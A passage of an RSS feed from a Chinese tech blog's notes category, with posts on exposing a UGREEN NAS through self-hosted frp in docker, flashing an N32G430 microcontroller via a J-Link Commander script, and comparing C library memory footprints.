<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>笔记 on Hacper&#39;s Blog</title>
    <link>https://hacperme.com/categories/%E7%AC%94%E8%AE%B0/</link>
    <description>Recent content in 笔记 on Hacper&#39;s Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>zh</language>
    <lastBuildDate>Mon, 11 Aug 2025 00:28:37 +0800</lastBuildDate>
    <atom:link href="https://hacperme.com/categories/%E7%AC%94%E8%AE%B0/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>绿联 NAS 配置 frp 内网穿透</title>
      <link>https://hacperme.com/posts/notes/2025/20250811_ugreen_dxp2800_nas_frp/</link>
      <pubDate>Mon, 11 Aug 2025 00:28:37 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2025/20250811_ugreen_dxp2800_nas_frp/</guid>
      <description>记录使用 docker+frp 为绿联 NAS 搭建内网穿透服务的一些经验。</description>
      <content:encoded><![CDATA[<p>绿联 NAS 当前自带内网穿透功能，对于远程访问设备服务很方便，但是自带的内网穿透功能也有缺点，需要登录用户账号之后才能使用，而且映射的域名是动态变化的。对于一些需要固定地址且稳定访问的服务，还是得考虑自建服务穿透。这里记录使用 docker+frp 搭建内网穿透服务的一些经验。</p>
<h2 id="服务器">服务器</h2>
<p>需要一台具备公网ip的服务器，使用 docker 搭建frp 服务端。
新建一个 frps 目录，新建 frp 配置文件 frps.toml：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="nx">bindPort</span> <span class="p">=</span> <span class="mi">7000</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">transport</span><span class="p">.</span><span class="nx">maxPoolCount</span> <span class="p">=</span> <span class="mi">15</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">transport</span><span class="p">.</span><span class="nx">tls</span><span class="p">.</span><span class="nx">force</span> <span class="p">=</span> <span class="kc">false</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">webServer</span><span class="p">.</span><span class="nx">addr</span> <span class="p">=</span> <span class="s2">&#34;0.0.0.0&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">webServer</span><span class="p">.</span><span class="nx">port</span> <span class="p">=</span> <span class="mi">7500</span>
</span></span><span class="line"><span class="cl"><span class="nx">webServer</span><span class="p">.</span><span class="nx">user</span> <span class="p">=</span> <span class="s2">&#34;admin&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">webServer</span><span class="p">.</span><span class="nx">password</span> <span class="p">=</span> <span class="s2">&#34;12345678&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">detailedErrorsToClient</span> <span class="p">=</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">auth</span><span class="p">.</span><span class="nx">method</span> <span class="p">=</span> <span class="s2">&#34;token&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">auth</span><span class="p">.</span><span class="nx">token</span> <span class="p">=</span> <span class="s2">&#34;12345678&#34;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>注意需要设置 <code>webServer.addr = &quot;0.0.0.0&quot;</code>, 不然打不开web管理面板界面。auth.token 和 webServer.password 安卓实际需要修改成自己的。</p>
<p>然后再创建 docker-compose.yaml 文件：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">services</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">frps</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">snowdreamtech/frps</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">frps</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">network_mode</span><span class="p">:</span><span class="w"> </span><span class="l">bridge</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">./frps.toml:/frp/frps.toml</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="c"># 监听端口</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;7000:7000&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="c"># 面板端口</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;7500:7500&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="c"># nas</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;9999:9999&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;-c&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;/frp/frps.toml&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">always</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>服务器上的 network_mode 设置成 bridge，需要外网访问的端口需要映射到host。包括后面在客户端新增的服务端口，都需要映射到 host， 比如这里的 nas 登录服务 <code>- &quot;9999:9999&quot;</code>。</p>
<p>然后执行指令 <code>docker-compose up -d</code> 启动 frp 服务器。</p>
<h2 id="客户端-nas">客户端 NAS</h2>
<p>在 NAS 上搭建 frp 客户端需要在共享目录创建 docker/frpc 文件目录，创建配置文件 frpc.toml ：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="nx">serverAddr</span> <span class="p">=</span> <span class="s2">&#34;117.125.189.120&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">serverPort</span> <span class="p">=</span> <span class="mi">7000</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">auth</span><span class="p">.</span><span class="nx">method</span> <span class="p">=</span> <span class="s2">&#34;token&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">auth</span><span class="p">.</span><span class="nx">token</span> <span class="p">=</span> <span class="s2">&#34;12345678&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">[[</span><span class="nx">proxies</span><span class="p">]]</span>
</span></span><span class="line"><span class="cl"><span class="nx">name</span> <span class="p">=</span> <span class="s2">&#34;nas&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">type</span> <span class="p">=</span> <span class="s2">&#34;tcp&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">localIP</span> <span class="p">=</span> <span class="s2">&#34;127.0.0.1&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nx">localPort</span> <span class="p">=</span> <span class="mi">9999</span>
</span></span><span class="line"><span class="cl"><span class="nx">remotePort</span> <span class="p">=</span> <span class="mi">9999</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>其中 <code>serverAddr = &quot;117.125.189.120&quot;</code> 改成自己的公网服务器地址，<code>auth.token = &quot;12345678&quot;</code>改成服务器上配置的 token。
增加需要内网穿透的服务， localIP 设置为 <code>127.0.0.1</code>，端口 localPort 和 remotePort 设置为实际使用的端口。</p>
<p>在绿联 NAS docker 应用界面新建项目，保存路径选择 docker/frpc 目录，填写 docker-compose.yaml 内容：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">services</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">frpc</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">snowdreamtech/frpc</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">frpc</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">./frpc.toml:/frp/frpc.toml</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">network_mode</span><span class="p">:</span><span class="w"> </span><span class="l">host</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;-c&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;/frp/frpc.toml&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">always</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://github.com/hacperme/picx-images-hosting/raw/master/20250820/image.102hvxifz5.webp" alt=""  />
</p>
<p>然后点立即部署创建容器。</p>
<p>注意 network_mode 需要设置为 host，创建容器、启动客户端之后便可以通过公网服务器ip:端口访问NAS的服务了,如访问 117.125.189.120:9999 登录NAS。</p>
<p>如果有需要，之后可以添加更多的服务穿透，新增、修改、和删除服务只需要修改服务器和客户端的的配置文件，再重新启动 docker 容器。</p>
]]></content:encoded>
    </item>
    <item>
      <title>J-Link 命令行工具烧写 N32G430 MCU 固件</title>
      <link>https://hacperme.com/posts/notes/2025/20250523_n32g430_jlink_cmd/</link>
      <pubDate>Fri, 23 May 2025 00:49:37 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2025/20250523_n32g430_jlink_cmd/</guid>
      <description>J-Link 命令行工具烧写 N32G430 MCU 固件</description>
      <content:encoded><![CDATA[<p>J-Link 提供一个叫做 J-Link Commander (JLink.exe) 的命令行工具，可以使用 J-Link Command File (.jlink script) 方式批量自动化烧录。</p>
<p>创建一个.jlink后缀的 J-Link 脚本：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">USB</span>
</span></span><span class="line"><span class="cl"><span class="n">Device</span> <span class="n">N32G430K8</span>
</span></span><span class="line"><span class="cl"><span class="n">If</span> <span class="n">SWD</span>
</span></span><span class="line"><span class="cl"><span class="n">Speed</span> <span class="mi">4000</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span>
</span></span><span class="line"><span class="cl"><span class="n">h</span>
</span></span><span class="line"><span class="cl"><span class="n">loadbin</span> <span class="n">firmware</span><span class="o">.</span><span class="n">bin</span><span class="p">,</span> <span class="mh">0x08000000</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span>
</span></span><span class="line"><span class="cl"><span class="n">g</span>
</span></span><span class="line"><span class="cl"><span class="n">exit</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>在命令行调用指令：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">JLink.exe -CommanderScript C:<span class="se">\U</span>sers<span class="se">\x</span>xxx<span class="se">\D</span>esktop<span class="se">\j</span>.jlink
</span></span></code></pre></td></tr></table>
</div>
</div><p>烧写固件示例 log:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span><span class="lnt">78
</span><span class="lnt">79
</span><span class="lnt">80
</span><span class="lnt">81
</span><span class="lnt">82
</span><span class="lnt">83
</span><span class="lnt">84
</span><span class="lnt">85
</span><span class="lnt">86
</span><span class="lnt">87
</span><span class="lnt">88
</span><span class="lnt">89
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">~<span class="se">\D</span>esktop via 🐍 v2.7.18
</span></span><span class="line"><span class="cl">❯ JLink.exe -CommanderScript C:<span class="se">\U</span>sers<span class="se">\x</span>xxx<span class="se">\D</span>esktop<span class="se">\j</span>.jlink
</span></span><span class="line"><span class="cl">SEGGER J-Link Commander V7.94a <span class="o">(</span>Compiled Dec  <span class="m">6</span> <span class="m">2023</span> 16:07:38<span class="o">)</span>
</span></span><span class="line"><span class="cl">DLL version V7.94a, compiled Dec  <span class="m">6</span> <span class="m">2023</span> 16:06:16
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">J-Link Command File <span class="nb">read</span> successfully.
</span></span><span class="line"><span class="cl">Processing script file...
</span></span><span class="line"><span class="cl">J-Link&gt;USB
</span></span><span class="line"><span class="cl">Connecting to J-Link via USB...O.K.
</span></span><span class="line"><span class="cl">Firmware: J-Link OB-STM32F072-CortexM compiled Jan  <span class="m">7</span> <span class="m">2019</span> 14:09:37
</span></span><span class="line"><span class="cl">Hardware version: V1.00
</span></span><span class="line"><span class="cl">J-Link uptime <span class="o">(</span>since boot<span class="o">)</span>: N/A <span class="o">(</span>Not supported by this model<span class="o">)</span>
</span></span><span class="line"><span class="cl">S/N: -1
</span></span><span class="line"><span class="cl">License<span class="o">(</span>s<span class="o">)</span>: GDB, RDI, FlashBP, FlashDL, JFlash, RDDI
</span></span><span class="line"><span class="cl"><span class="nv">VTref</span><span class="o">=</span>3.300V
</span></span><span class="line"><span class="cl">J-Link&gt;Device N32G430K8
</span></span><span class="line"><span class="cl">J-Link&gt;If SWD
</span></span><span class="line"><span class="cl">Selecting SWD as current target interface.
</span></span><span class="line"><span class="cl">J-Link&gt;Speed <span class="m">4000</span>
</span></span><span class="line"><span class="cl">Selecting <span class="m">4000</span> kHz as target interface speed
</span></span><span class="line"><span class="cl">J-Link&gt;r
</span></span><span class="line"><span class="cl">Target connection not established yet but required <span class="k">for</span> command.
</span></span><span class="line"><span class="cl">Device <span class="s2">&#34;N32G430K8&#34;</span> selected.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Connecting to target via SWD
</span></span><span class="line"><span class="cl">Found SW-DP with ID 0x2BA01477
</span></span><span class="line"><span class="cl">DPv0 detected
</span></span><span class="line"><span class="cl">CoreSight SoC-400 or earlier
</span></span><span class="line"><span class="cl">Scanning AP map to find all available APs
</span></span><span class="line"><span class="cl">AP<span class="o">[</span>1<span class="o">]</span>: Stopped AP scan as end of AP map has been reached
</span></span><span class="line"><span class="cl">AP<span class="o">[</span>0<span class="o">]</span>: AHB-AP <span class="o">(</span>IDR: 0x24770011<span class="o">)</span>
</span></span><span class="line"><span class="cl">Iterating through AP map to find AHB-AP to use
</span></span><span class="line"><span class="cl">AP<span class="o">[</span>0<span class="o">]</span>: Core found
</span></span><span class="line"><span class="cl">AP<span class="o">[</span>0<span class="o">]</span>: AHB-AP ROM base: 0xE00FF000
</span></span><span class="line"><span class="cl">CPUID register: 0x410FC241. Implementer code: 0x41 <span class="o">(</span>ARM<span class="o">)</span>
</span></span><span class="line"><span class="cl">Found Cortex-M4 r0p1, Little endian.
</span></span><span class="line"><span class="cl">FPUnit: <span class="m">6</span> code <span class="o">(</span>BP<span class="o">)</span> slots and <span class="m">2</span> literal slots
</span></span><span class="line"><span class="cl">CoreSight components:
</span></span><span class="line"><span class="cl">ROMTbl<span class="o">[</span>0<span class="o">]</span> @ E00FF000
</span></span><span class="line"><span class="cl"><span class="o">[</span>0<span class="o">][</span>0<span class="o">]</span>: E000E000 CID B105E00D PID 000BB00C SCS-M7
</span></span><span class="line"><span class="cl"><span class="o">[</span>0<span class="o">][</span>1<span class="o">]</span>: E0001000 CID B105E00D PID 003BB002 DWT
</span></span><span class="line"><span class="cl"><span class="o">[</span>0<span class="o">][</span>2<span class="o">]</span>: E0002000 CID B105E00D PID 002BB003 FPB
</span></span><span class="line"><span class="cl"><span class="o">[</span>0<span class="o">][</span>3<span class="o">]</span>: E0000000 CID B105E00D PID 003BB001 ITM
</span></span><span class="line"><span class="cl"><span class="o">[</span>0<span class="o">][</span>4<span class="o">]</span>: E0040000 CID B105900D PID 000BB9A1 TPIU
</span></span><span class="line"><span class="cl">Memory zones:
</span></span><span class="line"><span class="cl">  Zone: <span class="s2">&#34;Default&#34;</span> Description: Default access mode
</span></span><span class="line"><span class="cl">Cortex-M4 identified.
</span></span><span class="line"><span class="cl">Reset delay: <span class="m">0</span> ms
</span></span><span class="line"><span class="cl">Reset <span class="nb">type</span> NORMAL: Resets core <span class="p">&amp;</span> peripherals via SYSRESETREQ <span class="p">&amp;</span> VECTRESET bit.
</span></span><span class="line"><span class="cl">Reset: Halt core after reset via DEMCR.VC_CORERESET.
</span></span><span class="line"><span class="cl">Reset: Reset device via AIRCR.SYSRESETREQ.
</span></span><span class="line"><span class="cl">J-Link&gt;h
</span></span><span class="line"><span class="cl"><span class="nv">PC</span> <span class="o">=</span> 08003244, <span class="nv">CycleCnt</span> <span class="o">=</span> <span class="m">00000000</span>
</span></span><span class="line"><span class="cl"><span class="nv">R0</span> <span class="o">=</span> 00000000, <span class="nv">R1</span> <span class="o">=</span> 00000000, <span class="nv">R2</span> <span class="o">=</span> 00000000, <span class="nv">R3</span> <span class="o">=</span> <span class="m">00000000</span>
</span></span><span class="line"><span class="cl"><span class="nv">R4</span> <span class="o">=</span> 00000000, <span class="nv">R5</span> <span class="o">=</span> 00000000, <span class="nv">R6</span> <span class="o">=</span> 00000000, <span class="nv">R7</span> <span class="o">=</span> <span class="m">00000000</span>
</span></span><span class="line"><span class="cl"><span class="nv">R8</span> <span class="o">=</span> 00000000, <span class="nv">R9</span> <span class="o">=</span> 00000000, <span class="nv">R10</span><span class="o">=</span> 00000000, <span class="nv">R11</span><span class="o">=</span> <span class="m">00000000</span>
</span></span><span class="line"><span class="cl"><span class="nv">R12</span><span class="o">=</span> <span class="m">00000000</span>
</span></span><span class="line"><span class="cl">SP<span class="o">(</span>R13<span class="o">)=</span> 20004000, <span class="nv">MSP</span><span class="o">=</span> 20004000, <span class="nv">PSP</span><span class="o">=</span> 00000000, R14<span class="o">(</span>LR<span class="o">)</span> <span class="o">=</span> FFFFFFFF
</span></span><span class="line"><span class="cl"><span class="nv">XPSR</span> <span class="o">=</span> 01000000: <span class="nv">APSR</span> <span class="o">=</span> nzcvq, <span class="nv">EPSR</span> <span class="o">=</span> 01000000, <span class="nv">IPSR</span> <span class="o">=</span> <span class="m">000</span> <span class="o">(</span>NoException<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">CFBP</span> <span class="o">=</span> 00000000, <span class="nv">CONTROL</span> <span class="o">=</span> 00, <span class="nv">FAULTMASK</span> <span class="o">=</span> 00, <span class="nv">BASEPRI</span> <span class="o">=</span> 00, <span class="nv">PRIMASK</span> <span class="o">=</span> <span class="m">00</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">FPS0</span> <span class="o">=</span> 00000000, <span class="nv">FPS1</span> <span class="o">=</span> 00000000, <span class="nv">FPS2</span> <span class="o">=</span> 00000000, <span class="nv">FPS3</span> <span class="o">=</span> <span class="m">00000000</span>
</span></span><span class="line"><span class="cl"><span class="nv">FPS4</span> <span class="o">=</span> 00000000, <span class="nv">FPS5</span> <span class="o">=</span> 00000000, <span class="nv">FPS6</span> <span class="o">=</span> 00000000, <span class="nv">FPS7</span> <span class="o">=</span> <span class="m">00000000</span>
</span></span><span class="line"><span class="cl"><span class="nv">FPS8</span> <span class="o">=</span> 00000000, <span class="nv">FPS9</span> <span class="o">=</span> 00000000, <span class="nv">FPS10</span><span class="o">=</span> 00000000, <span class="nv">FPS11</span><span class="o">=</span> <span class="m">00000000</span>
</span></span><span class="line"><span class="cl"><span class="nv">FPS12</span><span class="o">=</span> 00000000, <span class="nv">FPS13</span><span class="o">=</span> 00000000, <span class="nv">FPS14</span><span class="o">=</span> 00000000, <span class="nv">FPS15</span><span class="o">=</span> <span class="m">00000000</span>
</span></span><span class="line"><span class="cl"><span class="nv">FPS16</span><span class="o">=</span> 00000000, <span class="nv">FPS17</span><span class="o">=</span> 00000000, <span class="nv">FPS18</span><span class="o">=</span> 00000000, <span class="nv">FPS19</span><span class="o">=</span> <span class="m">00000000</span>
</span></span><span class="line"><span class="cl"><span class="nv">FPS20</span><span class="o">=</span> 00000000, <span class="nv">FPS21</span><span class="o">=</span> 00000000, <span class="nv">FPS22</span><span class="o">=</span> 00000000, <span class="nv">FPS23</span><span class="o">=</span> <span class="m">00000000</span>
</span></span><span class="line"><span class="cl"><span class="nv">FPS24</span><span class="o">=</span> 00000000, <span class="nv">FPS25</span><span class="o">=</span> 00000000, <span class="nv">FPS26</span><span class="o">=</span> 00000000, <span class="nv">FPS27</span><span class="o">=</span> <span class="m">00000000</span>
</span></span><span class="line"><span class="cl"><span class="nv">FPS28</span><span class="o">=</span> 00000000, <span class="nv">FPS29</span><span class="o">=</span> 00000000, <span class="nv">FPS30</span><span class="o">=</span> 00000000, <span class="nv">FPS31</span><span class="o">=</span> <span class="m">00000000</span>
</span></span><span class="line"><span class="cl"><span class="nv">FPSCR</span><span class="o">=</span> <span class="m">00000000</span>
</span></span><span class="line"><span class="cl">J-Link&gt;loadbin firmware.bin, 0x08000000
</span></span><span class="line"><span class="cl"><span class="s1">&#39;loadbin&#39;</span>: Performing implicit reset <span class="p">&amp;</span> halt of MCU.
</span></span><span class="line"><span class="cl">Reset: Halt core after reset via DEMCR.VC_CORERESET.
</span></span><span class="line"><span class="cl">Reset: Reset device via AIRCR.SYSRESETREQ.
</span></span><span class="line"><span class="cl">Downloading file <span class="o">[</span>firmware.bin<span class="o">]</span>...
</span></span><span class="line"><span class="cl">J-Link: Flash download: Bank <span class="m">0</span> @ 0x08000000: Skipped. Contents already match
</span></span><span class="line"><span class="cl">O.K.
</span></span><span class="line"><span class="cl">J-Link&gt;r
</span></span><span class="line"><span class="cl">Reset delay: <span class="m">0</span> ms
</span></span><span class="line"><span class="cl">Reset <span class="nb">type</span> NORMAL: Resets core <span class="p">&amp;</span> peripherals via SYSRESETREQ <span class="p">&amp;</span> VECTRESET bit.
</span></span><span class="line"><span class="cl">Reset: Halt core after reset via DEMCR.VC_CORERESET.
</span></span><span class="line"><span class="cl">Reset: Reset device via AIRCR.SYSRESETREQ.
</span></span><span class="line"><span class="cl">J-Link&gt;g
</span></span><span class="line"><span class="cl">Memory map <span class="s1">&#39;after startup completion point&#39;</span> is active
</span></span><span class="line"><span class="cl">J-Link&gt;exit
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Script processing completed.
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>c 标准库 nano.spec 和 nosys.spec 的内存占用差异</title>
      <link>https://hacperme.com/posts/notes/2025/20250219_c_stdlib/</link>
      <pubDate>Fri, 28 Feb 2025 00:49:37 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2025/20250219_c_stdlib/</guid>
      <description>c 库 nosys.spec vs nano.spec 的内存占用大小差异</description>
      <content:encoded><![CDATA[<p>相同应用代码下，nosys.spec vs nano.spec 的内存占用大小。</p>
<p>nosys.spec:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">Memory region         Used Size  Region Size  %age Used
</span></span><span class="line"><span class="cl">             RAM:        <span class="m">4240</span> B        <span class="m">16</span> KB     25.88%
</span></span><span class="line"><span class="cl">           FLASH:       <span class="m">44892</span> B        <span class="m">64</span> KB     68.50%
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">library name,text,rodata,data,bss,code,flash,ram
</span></span><span class="line"><span class="cl">nofp<span class="se">\l</span>ibc.a,25152,1056,2476,60,26208,28684,2536
</span></span><span class="line"><span class="cl">nofp<span class="se">\l</span>ibgcc.a,3116,0,0,0,3116,3116,0
</span></span><span class="line"><span class="cl">main.c.obj,220,26,0,100,246,246,100
</span></span><span class="line"><span class="cl">libCMSIS.a,570,0,4,0,570,574,4
</span></span><span class="line"><span class="cl">libbsp.a,484,0,0,0,484,484,0
</span></span><span class="line"><span class="cl">libtask.a,220,0,0,16,220,220,16
